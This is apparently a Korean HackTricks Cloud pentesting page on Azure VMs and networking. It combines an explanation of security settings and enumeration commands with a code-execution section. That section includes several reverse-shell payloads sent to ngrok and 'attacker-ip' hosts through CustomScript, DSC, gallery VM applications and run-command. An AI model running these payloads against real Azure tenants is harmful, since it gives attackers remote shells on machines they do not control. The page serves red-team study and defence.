Az - 가상 머신 및 네트워크
Reading time: 24 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure 네트워킹 기본 정보
Azure 네트워크는 다양한 엔터티와 구성 방법을 포함합니다. 다양한 Azure 네트워크 엔터티에 대한 간략한 설명, 예제 및 열거 명령을 찾을 수 있습니다:
VMs 기본 정보
Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 클라우드 기반 서버로, Windows 또는 Linux 운영 체제를 실행할 수 있습니다. 이를 통해 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합하기 위해 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다.
보안 구성
- 가용성 영역: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 지역적인 중단이나 재해로 인해 여러 영역이 영향을 받는 위험을 최소화합니다.
- 보안 유형:
- 표준 보안: 특정 구성이 필요하지 않은 기본 보안 유형입니다.
- 신뢰할 수 있는 시작: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다.
- 기밀 VM: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 더 많은 정보를 제공합니다.
- 인증: 기본적으로 새로운 SSH 키가 생성되며, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 azureuser입니다. 비밀번호를 사용하도록 구성할 수도 있습니다.
- VM 디스크 암호화: 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다.
- 호스트에서 암호화를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 (문서).
- NIC 네트워크 보안 그룹:
- 없음: 기본적으로 모든 포트를 엽니다.
- 기본: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다.
- 고급: 보안 그룹을 선택합니다.
- 백업: 표준 백업(하루에 한 번) 및 향상된 백업(하루에 여러 번)을 활성화할 수 있습니다.
- 패치 조정 옵션: 선택한 정책에 따라 VM에 자동으로 패치를 적용할 수 있도록 합니다. 문서에서 설명합니다.
- 알림: VM에서 무언가 발생할 때 이메일이나 모바일 앱으로 자동 알림을 받을 수 있습니다. 기본 규칙:
- CPU 사용률이 80%를 초과
- 사용 가능한 메모리 바이트가 1GB 미만
- 데이터 디스크 IOPS 소비 비율이 95%를 초과
- OS IOPS 소비 비율이 95%를 초과
- 총 네트워크가 500GB를 초과
- 총 네트워크 아웃이 200GB를 초과
- VmAvailabilityMetric이 1 미만
- 상태 모니터: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다.
- 잠금: VM을 잠가 읽기 전용(ReadOnly 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(CanNotDelete 잠금) 상태로 설정할 수 있습니다.
- 대부분의 VM 관련 리소스는 디스크, 스냅샷 등과 같은 잠금을 지원합니다.
- 잠금은 리소스 그룹 및 구독 수준에서도 적용할 수 있습니다.
디스크 및 스냅샷
- 2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.
- 기본적으로 모든 디스크는 플랫폼 키로 암호화됩니다.
- 스냅샷에서도 동일합니다.
- 기본적으로 모든 네트워크에서 디스크를 공유할 수 있지만, 특정 개인 접근으로 제한하거나 공개 및 개인 접근을 완전히 비활성화할 수 있습니다.
- 스냅샷에서도 동일합니다.
- 디스크를 내보내기 위해 SAS URI(최대 60일)를 생성할 수 있으며, 인증이 필요하도록 구성할 수 있습니다.
- 스냅샷에서도 동일합니다.
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
이미지, 갤러리 이미지 및 복원 지점
VM 이미지는 새로운 가상 머신(VM)을 생성하는 데 필요한 운영 체제, 애플리케이션 설정 및 파일 시스템을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 사용되도록 설계되었습니다.
이미지는 Azure의 이미지 섹션 또는 Azure 컴퓨트 갤러리 내에서 관리할 수 있으며, 이를 통해 버전을 생성하고 이미지를 크로스 테넌트로 공유하거나 공개할 수 있습니다.
복원 지점은 VM 구성과 시점 애플리케이션 일관성 스냅샷을 저장합니다. 이는 VM과 관련이 있으며, 특정 시점에서 VM을 복원할 수 있도록 하는 것이 목적입니다.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
문서에서: Site Recovery는 중단 동안 비즈니스 앱과 워크로드가 계속 실행되도록 하여 비즈니스 연속성을 보장하는 데 도움을 줍니다. Site Recovery는 기본 사이트에서 보조 위치로 물리적 및 가상 머신(VM)에서 실행되는 워크로드를 복제합니다. 기본 사이트에서 중단이 발생하면 보조 위치로 전환하고 그곳에서 앱에 접근합니다. 기본 위치가 다시 실행되면 다시 전환할 수 있습니다.
Azure Bastion
Azure Bastion은 Azure Portal 또는 점프 박스를 통해 가상 머신(VM)에 대한 안전하고 원활한 원격 데스크톱 프로토콜(RDP) 및 보안 셸(SSH) 접근을 가능하게 합니다. VM에서 공용 IP 주소의 필요성을 제거합니다.
Bastion은 작동해야 하는 VNet에 /26
넷마스크를 가진 **AzureBastionSubnet
**이라는 서브넷을 배포합니다. 그런 다음, 브라우저를 통해 내부 VM에 연결할 수 있도록 하여 VM의 포트를 인터넷에 노출하지 않도록 합니다. 또한 점프 호스트로도 작동할 수 있습니다.
구독 내 모든 Azure Bastion 호스트를 나열하고 이를 통해 VM에 연결하려면 다음 명령을 사용할 수 있습니다:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
메타데이터
Azure 인스턴스 메타데이터 서비스(IMDS)는 실행 중인 가상 머신 인스턴스에 대한 정보를 제공하여 관리 및 구성에 도움을 줍니다. SKU, 스토리지, 네트워크 구성 및 예정된 유지 관리 이벤트에 대한 정보와 같은 세부정보를 제공하며, 비라우터 IP 주소 169.254.169.254에서 사용할 수 있는 REST API를 통해 접근할 수 있으며, 이는 VM 내에서만 접근 가능합니다. VM과 IMDS 간의 통신은 호스트 내에서 이루어져 안전한 접근을 보장합니다. IMDS를 쿼리할 때, VM 내의 HTTP 클라이언트는 적절한 통신을 보장하기 위해 웹 프록시를 우회해야 합니다.
또한, 메타데이터 엔드포인트에 연락하기 위해 HTTP 요청에는 Metadata: true
헤더가 있어야 하며 X-Forwarded-For
헤더는 없어야 합니다.
다음에서 이를 열거하는 방법을 확인하세요:
VM 열거
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
VMs에서 코드 실행
VM 확장
Azure VM 확장은 Azure 가상 머신(VM)에서 배포 후 구성 및 자동화 작업을 제공하는 작은 애플리케이션입니다.
이것은 VM 내부에서 임의의 코드를 실행할 수 있게 합니다.
필요한 권한은 **Microsoft.Compute/virtualMachines/extensions/write
**입니다.
사용 가능한 모든 확장을 나열하는 것은 가능합니다:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
사용자 정의 코드를 실행하는 사용자 정의 확장을 실행할 수 있습니다:
- 리버스 셸 실행
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- 인터넷에 위치한 스크립트 실행
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
관련 VM 확장
필요한 권한은 여전히 **Microsoft.Compute/virtualMachines/extensions/write
**입니다.
VMAccess 확장
이 확장은 Windows VM 내의 사용자 비밀번호를 수정하거나(존재하지 않는 경우 생성) 할 수 있게 해줍니다.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 VM 확장입니다. 따라서 이 확장을 통해 Windows VM에서 임의의 명령을 실행하는 데 사용할 수 있습니다:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
하이브리드 런북 워커
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 Automation Accounts service를 확인하세요.
VM 애플리케이션
이것은 VM에서 애플리케이션을 쉽게 추가하고 제거하는 데 사용할 수 있는 애플리케이션 데이터 및 설치 및 제거 스크립트가 포함된 패키지입니다.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
이것은 애플리케이션이 파일 시스템 내에서 다운로드되는 경로입니다:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
- Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
새로운 애플리케이션 설치 방법은 https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli에서 확인하세요.
caution
개별 앱과 갤러리를 다른 구독이나 테넌트와 공유하는 것이 가능합니다. 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 해줄 수 있기 때문에 매우 흥미롭습니다.
하지만 vm 앱을 위한 "마켓플레이스"는 존재하지 않습니다. 확장 프로그램을 위한 마켓플레이스와는 다릅니다.
필요한 권한은 다음과 같습니다:
Microsoft.Compute/galleries/applications/write
Microsoft.Compute/galleries/applications/versions/write
Microsoft.Compute/virtualMachines/write
Microsoft.Network/networkInterfaces/join/action
Microsoft.Compute/disks/write
임의의 명령을 실행하기 위한 악용 예시:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
사용자 데이터
이것은 지속적인 데이터로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. 여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다.
사용자 정의 데이터
예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다:
- Windows에서는 사용자 정의 데이터가
%SYSTEMDRIVE%\AzureData\CustomData.bin
에 이진 파일로 저장되며 처리되지 않습니다. - Linux에서는
/var/lib/waagent/ovf-env.xml
에 저장되었고 현재는/var/lib/waagent/CustomData/ovf-env.xml
에 저장됩니다. - Linux 에이전트: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다.
- cloud-init: 기본적으로 사용자 정의 데이터를 처리하며 이 데이터는 여러 형식일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다.
- Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다.
- 이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
명령 실행
이것은 Azure가 VM에서 임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 Microsoft.Compute/virtualMachines/runCommand/action
입니다.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
권한 상승
Az - Virtual Machines & Network Privesc
인증되지 않은 접근
포스트 익스플로잇
Az - VMs & Network Post Exploitation
지속성
참고자료
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.